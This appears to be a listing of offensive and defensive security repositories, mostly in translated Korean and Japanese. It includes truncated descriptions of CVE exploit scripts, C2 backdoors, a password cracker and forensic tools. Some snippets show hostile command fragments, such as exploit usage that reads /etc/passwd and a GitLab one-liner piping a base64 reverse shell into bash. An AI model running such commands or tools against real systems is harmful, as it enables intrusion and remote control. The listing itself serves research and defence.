cve-2016-1555

설명 이 모듈은 Netgear WN604버전 3.3.3 미만 및 WN802Tv2, WNAP210v2, WNAP320, WNDAP350, WNDAP360, WNDAP660버전 3.5.5.0 미만에서 인증되지 않은 임의 명령 실행 취약점을 활용합니다. 이 취약점은 라우터가 1 boardData102.php, 2 boardData103.php, 3 boardDataJP.php, 4 boardDataNA.php, 5 boardDataWW.php에서 오는 POST 요청을 처리하는 방식에서 발생합니다. 이 취약점은...

CVE-2022-1388

CVE-2022-1388 익스플로잇 CVE 2022-1388을 위한 익스플로잇 및 확인 스크립트 사용법 단일 호스트 URL 확인 python3 exploit.py -v true -u targeturl 호스트를 공격하고 명령을 실행하려면 python3 exploit.py -a true -u targeturl -c command 호스트 목록 또는 호스트 URL IP가 포함된 파일을 이용한 공격 python3 exploit.py -s true -f file 입력 파일을 사용하여 masscheck.py가 호스트가 익스플로잇 가능한지...

url-status-checker

ステータスチェッカー URLステータスチェッカー v2.1 ステータスチェッカーは、1つまたは複数のURL/ドメインのステータスをチェックし、HTTPステータスコードに基づいて分類するPythonスクリプトです。 バージョン 2.1.0 特徴 単一または複数のURL/ドメインのステータスをチェック パフォーマンス向上のための非同期HTTPリクエスト リダイレクトを追跡 関連するすべてのIPアドレスを追跡 ステータスコードの視認性を高める色分けされた出力 複数URLチェック時のプログレスバー 結果を出力ファイルに保存 アクセス不能なURLや無効なレスポンスに対するエラーハンドリング...

CVE-2018-8639-EXP

CVE-2018-8639-EXP CVE-2018-8639 EXP Usage: CVE-2018-8639-EXP.exe command etc 1. 오픈 소스 샘플은 대부분 이미 우회가 불가능할 수 있으므로 직접 수정이 필요합니다. 2. 기본 핵심 코드의 오픈 소스가 배우고자 하는 사람들에게 도움이 될 것이라고 생각합니다. 3. 저는 GitHub 고수들의 프로젝트에서 많은 것을 배웠습니다. 4. 제 프로젝트를 사용하여 HW 훈련/레드-블루 대결/APT/블랙 산업/악성 행위/불법 행위/시장 조작 등의 행위를 하는 경우, 저는 책임을 ...

twittor

Twittor 트위터직접 메시지를 명령 및 제어 서버로 사용하는 은밀한 Python 기반 백도어입니다. 이 프로젝트는 Gmail 계정을 사용하여 동일한 작업을 수행하는 Gcat에서 영감을 받았습니다. 설정 이 작업이 작동하려면 다음이 필요합니다: 트위터 계정 전용 계정을 사용하세요! 개인 계정을 사용하지 마세요! 읽기, 쓰기 및 직접 메시지 액세스 수준으로 트위터에 앱 등록 의존성 설치: $ pip install -r requirements.txt 이 저장소에는 두 개의 파일이 있습니다: twittor.py 클라이언트...

cve-2022-30525

CVE-2022-30525 1vere$k 作成 Rapid7 は、ゼロタッチプロビジョニング ZTP をサポートする Zyxel ファイアウォール（ATP シリーズ、VPN シリーズ、USG FLEX シリーズ（USG20-VPN および USG20W-VPN を含む））に影響する脆弱性を発見し報告しました。CVE-2022-30525 として識別されたこの脆弱性により、認証されていないリモートの攻撃者が影響を受けるデバイス上で nobody ユーザーとして任意のコード実行を実現できます。 次の表に、影響を受けるモデルとファームウェアバージョンを示します。 影響を受けるモデル USG...

PassBreaker

PassBreaker PassBreaker는 Python으로 개발된 명령줄 비밀번호 크래킹 도구입니다. 워드리스트 기반 공격 및 무차별 대입 공격과 같은 다양한 비밀번호 크래킹 기술을 수행할 수 있습니다. 기능 워드리스트 기반 비밀번호 크래킹 무차별 대입 비밀번호 크래킹 여러 해시 알고리즘 지원 선택적 솔트 값 더 빠른 크래킹을 위한 병렬 처리 옵션 비밀번호 복잡도 평가 사용자 정의 가능한 최소 및 최대 비밀번호 길이 무차별 대입 공격을 위한 사용자 정의 가능한 문자 집합 설치 1. 저장소를 클론합니다: git clone...

Browser-C2

Browser-C2 브라우저를 사용하여 C2 작전을 수행하는 사후 침투 에이전트입니다...

timesketch

Timesketch Table of Contents 1. About Timesketch 2. Getting started 3. Community 4. Contributing About Timesketch Timesketch is an open-source tool for collaborative forensic timeline analysis. Using sketches you and your collaborators can easily organize your timelines and analyze them all at th...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - VMware Workspace ONE Access Freemarker 서버 측 템플릿 인젝션 VMware Workspace ONE Access 및 Identity Manager에서 매우 치명적인 것으로 분류된 취약점이 발견되었습니다. 영향을 받는 구성 요소는 Template Handler입니다. 참조: https://vuldb.com/?id.196644 사용법: python3 CVE-2022-22954.py example.com "cat /etc/passwd" 예시: 면책 조항 이 Pyth...

phpsploit

모든 기능을 갖춘 C2 프레임워크로, 다형성 PHP 원라이너를 통해 웹 서버에 조용히 지속됩니다. codeclimate maintainability 만든 사람 nil0x42 및 기여자들 개요 난독화된 통신은 표준...

ghidrecomp

Ghidrecomp - コマンドライン Ghidra デコンパイラ 概要 この Python コマンドラインツールは、バイナリのすべての関数を逆コンパイルし、それらを個別の C ファイルとしてディレクトリに書き出します:mermaid flowchart LR afilename -- bghidrecomp a2Symbol Server -- b b -- eGhidra Project Files b -- output subgraph output subgraph decompilations direction LR ifunc1.c hfunc2.c ffuncB.c...

CVE-2020-8515

CVE-2020-8515 예전에 굴러다니던 Draytek CVE-2020-8515 PoC입니다. 재미있게도, 주입된 명령이 두 번 실행됩니다. 아래를 보세요: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown Linux Vigor3900 2.6.33.5 1 Wed...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 GitLab 사전 인증 RCECVE-2021-22205용 한 줄 bash PoC t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

BlackBerryC2

BlackBerryC2 2.0.0-beta BlackBerryC2는 교육용, 보안 연구 및 통제된 실험실 환경 전용 으로 설계된 암호화된 원격 관리 및 C2 프레임워크 입니다. 이 프로젝트는 외부 TLS 스택에 의존하지 않고 애플리케이션 계층 암호화 , 세션 관리 및 안전한 클라이언트 통신을 갖춘 맞춤형 명령 및 제어 서버 를 구축하는 방법을 보여줍니다. ⚠️ 중요 공지 이 프로젝트는 악성코드가 아니며 무단 접근을 위한 것이 아닙니다. BlackBerryC2: 자체적으로 전파되지 않음 자동으로 취약점을 악용하지 않음 지속성...

KindaRails2Shell

KindaRails2Shell: CVE-2026-66066 Rails Active Storage/libvips 임의 파일 읽기 취약점에 대한 무의존성zero-dependency 단일 파일 개념 증명PoC이자 루프백 전용 Docker 실습 환경입니다. 또한 복구된 secretkeybase에서 위조된 이미지 variation과 명령 실행으로 이어지는 보안 권고의 조건부 권한 상승을 시연합니다. 영향을 받는 버전: Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3 수정된 버전: Rails 7.2.3....

msf_shellcode_analysis

Metasploit シェルコードの静的解析 最初のブログ記事として、よく知られた Metasploit シェルコードを解析するのは良い機会だと思います。エンコーディング、PEB、Windows シェルコード、エクスポートアドレステーブルといった話題を取り上げる絶好の題材です。 はじめに まず、傍受した長いコマンドラインから始めます。powershell "powershell.exe" -nop -w hidden -encodedcommand...

CVE-2021-4045

CVE-2021-4045 CVE-2021-4045는 TP-Link Tapo c200 IP 카메라에서 원격 코드 실행을 가능하게 하는 명령 주입 취약점입니다. 이 취약점은 장치의 주요 바이너리 중 하나인 uhttpd에서 사용자 입력에 대한 충분한 검사가 이루어지지 않아 펌웨어 버전 1.1.16 Build 211209 Rel. 37726N 이전의 모든 버전에 영향을 미칩니다. 전체 분석 내용은 여기에서 확인할 수 있습니다. 익스플로잇 pwnTapo.py 이것은 CryptoParty Madrid 2022에서 취약점을 시연하기 위해...

Malleable-C2-Profiles

Cobalt Strike - Malleable C2 Profiles Cobalt Strikehttps://www.cobaltstrike.com/를 사용하는 다양한 프로젝트에서 사용된 프로파일 모음입니다...

murphysec

中文 | 영어 MurphySec CLI 는 명령줄에서 취약한 종속성을 탐지하는 데 사용되며, CI/CD 파이프라인에 통합할 수도 있습니다. 기능 1. 프로젝트에서 사용 중인 직접 및 간접 종속성 분석 2. 프로젝트 종속성에서 알려진 취약점 탐지 스크린샷 CLI 스캔 결과 스캔 결과 페이지 목차 1. 지원 언어 2. 작동 방식 3. 작업 시나리오 4. 시작하기 5. 명령어 소개 6. 커뮤니케이션 7. 라이선스 지원 언어 현재 Java, JavaScript, Golang을 지원합니다. 다른 개발 언어는 향후 점진적으로 지원될...